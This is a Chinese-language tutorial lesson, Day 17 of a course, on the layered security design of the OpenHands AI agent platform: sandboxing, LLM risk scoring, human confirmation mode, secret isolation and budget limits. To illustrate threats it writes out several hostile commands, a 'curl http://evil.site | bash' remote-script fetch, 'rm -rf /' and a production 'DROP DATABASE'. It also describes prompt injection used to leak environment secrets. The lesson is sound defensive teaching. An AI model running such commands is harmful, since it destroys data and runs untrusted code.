Day 17 / 共 20 天 · 第 4 周 前端/安全/生态

安全与权限

"让 AI 自主执行命令"既是威力也是风险。今天把散落各处的安全机制汇总成一套纵深防御体系,看 OpenHands 如何"敢把执行权交给 AI"。

📍 第 4 周 前端与生态 · 你在这里
Day16 前端展示Day17 安全权限Day18 微代理SkillsDay19 企业版Day20 构建收官
L01

核心矛盾

OpenHands 的价值在于"AI 真的能动手操作",但这天然危险:AI 可能误删文件、泄漏密钥、执行恶意命令(如果被提示注入攻击)。如何在"给 AI 足够权限干活"和"防止它闯祸"之间平衡?答案是纵深防御——多层安全,一层被突破还有下一层。

第 1 层 沙箱隔离 — 物理隔离,AI 碰不到宿主机(Day 09)
第 2 层 风险评估 — LLM 给每个动作打风险等级(security_risk,Day 03)
第 3 层 人工确认 — 高危动作执行前暂停等人点头(confirmation mode)
第 4 层 密钥/数据隔离 — 密钥按需下发、用户数据路径隔离(Day 08/09)
第 5 层 熔断/脱敏 — 步数预算上限、错误信息脱敏(Day 04/07)
纵深防御是什么? 像古代城池——护城河、城墙、内城、卫兵,一层层。不指望单一防线万无一失,而是每层都拦一部分,叠加起来极难全部突破。OpenHands 的安全不是靠某一个机制,而是这五层叠加。今天逐层看。
💡 本质:纵深防御 = 不赌单一防线,层层设卡就像生活中现代小区的安防:大门有门禁卡(沙箱隔离,外人进不来)、楼道有监控(风险评估,可疑行为被标记)、贵重操作要业主本人确认(人工确认,如快递代收要验码)、家里还有保险柜(密钥隔离)。任何一层单拎出来都能被绕过,但要同时突破全部几乎不可能。OpenHands 的安全就是这套"小区式多层设防",而不是指望某一把锁万无一失。
L02

第 1 层:沙箱隔离(地基)

最根本的一层(Day 09 详讲):AI 的一切执行都在隔离的 Docker 容器里。就算 AI 执行了 rm -rf /,删的也是容器里的东西,删掉重建即可,宿主机毫发无伤

沙箱是安全的"地基"——正因为有它,其他层即使失效,损害也被限制在容器内。这也是为什么 npm 直接运行(无沙箱)模式会打风险警告(Day 04):那模式下 AI 有宿主机完整文件权限,地基没了。生产环境永远要用沙箱。
沙箱就像生活中小区里独立的车库/储物间:你在自己车库里怎么折腾(哪怕点着一堆废纸)都烧不到邻居家和主楼;而无沙箱模式等于让 AI 直接在你家客厅玩火——地基(隔离)没了,其他安防再多也扛不住一把大火。
L03

第 2 层:风险评估 security_risk

回忆 Day 03:每个 ActionEvent 带一个 security_risk 字段——LLM 在产出动作时同时评估它的风险等级。配置 [security]security_analyzer = "llm"(Day 04)指定用 LLM 做这个评估。

让 AI 自己评估风险,可靠吗? 单独看不够可靠(AI 可能误判),所以它只是"第2层",不是唯一防线——它的作用是"给动作分级",供第 3 层(人工确认)决定"哪些需要人看一眼"。比如"读文件"评为低危、自动执行;"删数据库""curl 外部地址"评为高危、触发人工确认。风险评估 = 智能地决定"哪些操作值得打扰人类",避免每个动作都问(烦)或都不问(险)。
L04

第 3 层:人工确认 confirmation mode

配置 [security]confirmation_mode = true 开启。开启后,(高危)动作执行前暂停,通过事件通知前端,等你点"批准/拒绝":

# 概念:动作执行前
if confirmation_mode and action.security_risk >= 阈值:
    暂停,发出等待确认的事件(execution_status = waiting_for_confirmation)
    # 等前端返回用户决定
    if 用户拒绝: 产生 UserRejectObservation(Day 03 见过)
    else: 执行
读法:这就是 Human-in-the-loop(人在环中)——AI 干到关键处停下来等人拍板。Day 03 的 UserRejectObservation(带 rejection_reason)就是"用户拒绝了某动作"的记录;V1ExecutionStatuswaiting_for_confirmation 状态就是"正在等你确认"。
这和 eino 的"中断/恢复"是一回事 还记得 eino 教程 Day 14 的 Interrupt/Resume 吗?完全同一个思想——Agent 遇到敏感操作暂停、存现场、等人工批准、再从断点继续。转账要审批、删库要确认,都是这个模式。能自主行动的 AI,必须能在关键点"停下来等人"——这是敢部署它的底线。OpenHands 靠 security_risk(第2层)+ confirmation(第3层)实现智能的人工确认。
🤔 如果没有这层会出什么事故?设想你让 Agent"清理一下没用的测试数据"。它自作主张跑了 DROP DATABASE test; DROP DATABASE prod;——把生产库也删了。没有确认模式,这条命令一进沙箱就执行,等你发现已经晚了。confirmation mode 就是为拦住这种"一步铸成大错"而生。
💡 本质:高危动作执行前"暂停等人点头"(Human-in-the-loop)就像生活中银行大额转账要发短信验证码:小额免密(读文件=低危自动放行),但转一大笔钱时,App 会停下来发条短信让你确认——是你本人、确实要转,才继续。confirmation_mode=true 就是给 Agent 装上这道"大额转账二次确认":动作被评为高危(security_risk 超阈值)就暂停,状态置 waiting_for_confirmation,等你批准;你拒绝就记一条 UserRejectObservation
📝 举个例子Agent 想执行 curl http://evil.site | bash(下载并运行外部脚本)→ LLM 评 security_risk="HIGH" → confirmation 拦下,前端弹出"批准 / 拒绝" → 你点拒绝 → 产生 UserRejectObservation(rejection_reason="不信任的外部脚本") → Agent 换个安全做法。
步骤此刻发生什么关键状态值
① 产出动作LLM 生成删库命令并自评风险security_risk=HIGH
② 命中阈值confirmation 拦截,不执行、发事件waiting_for_confirmation
③ 等人拍板前端弹确认框,Agent 挂起(暂停中)
④ 用户拒绝记录拒绝、动作不执行UserRejectObservation
⑤ 恢复Agent 拿到拒绝观察,改走安全路径继续循环
confirmation mode:危险动作的岔路口 动作 + 风险评估 security_risk 高危? 超阈值? 否/低危 直接执行 是/高危 暂停 → 等人批准/拒绝
图:低危放行、高危停下来等人点头——像银行小额免密、大额验证码
L05

第 4 层之一:密钥按需下发

Day 09 讲过:密钥不打进镜像、不一次性全塞进容器,而是沙箱用时凭 session key 回 app_server 单独领取(sandbox_router.py:157_valid_sandbox_from_session_key 校验)。

为什么这是安全关键:如果密钥都在容器环境变量里,一旦 AI 被提示注入攻击诱导执行 env 或把环境变量发到外部,密钥就泄漏了。按需下发 + 最小暴露让容器里任何时刻都只有"当下用到的那个密钥",攻击面最小。处理机密的黄金准则:能不给就不给,要给只给当下需要的那一点。
L06

第 4 层之二:用户隔离

Day 08 讲过:事件存储路径 = {prefix}/{user_id}/conversations/{id}——带 user_id 的严格前缀是权限控制的唯一手段。你拼不出别人的路径,就读不到别人的数据。沙箱鉴权也靠 session_api_key 与 sandbox 强绑定校验(Day 09)。

多用户场景的隔离(尤其 SaaS) OpenHands 可以是多人共用的服务(enterprise 版,Day 19)。这时必须保证"用户 A 绝对看不到用户 B 的会话/事件/沙箱"。做法是把 user_id 编码进每一处资源标识(存储路径、沙箱归属 SandboxRecord.owner)。请求进来先确定 user_id,之后所有资源访问都被这个 id 框住。把隔离"结构化"进数据布局,比到处写权限检查更不容易出漏洞。
L07

第 5 层:熔断与脱敏

  • 步数/预算熔断(Day 04):max_iterations(默认 500)、max_budget_per_task——防止 AI 失控无限循环烧钱/搞破坏。
  • 错误脱敏(Day 07):启动失败等错误信息经 redact_text_secrets 处理,防止密钥意外出现在日志/报错里泄漏。
  • 限流(Day 10):中间件按 IP 限流,防止接口被打爆。
这些是"兜底层"——前面几层管"正常运行时的安全",这层管"出意外/被滥用时把损害控制住"。熔断防失控、脱敏防信息泄漏、限流防资源耗尽。安全设计不仅要防"坏人主动攻击",也要防"AI 自己抽风"和"意外泄漏"。
L08

今日小结 + 动手

🧠 今天你应该能回答

  • OpenHands 安全的核心矛盾?纵深防御是什么?
  • 五层防御分别是什么?
  • security_risk + confirmation mode 怎么配合?和 eino 的中断/恢复哪里像?
  • 密钥为什么按需下发?用户隔离怎么做?
  • 熔断/脱敏/限流各防什么?

✋ 动手

sed -n '/\[security\]/,/^\[/p' config.template.toml
grep -n 'confirmation\|security_risk\|UserReject\|waiting_for_confirmation' \
  frontend/src/types/v1/core/base/common.ts frontend/src/types/v1/core/events/*.ts
grep -n 'redact_text_secrets' openhands/app_server/app_conversation/live_status_app_conversation_service.py
明天预告 · Day 18微代理 microagents——不改代码就能定制 Agent 行为:用"知识片段 + 触发词"往 Agent 上下文注入领域知识/规范。看 OpenHands 怎么让你"教" Agent。
← Day 16 前端 Day 18 · 微代理 →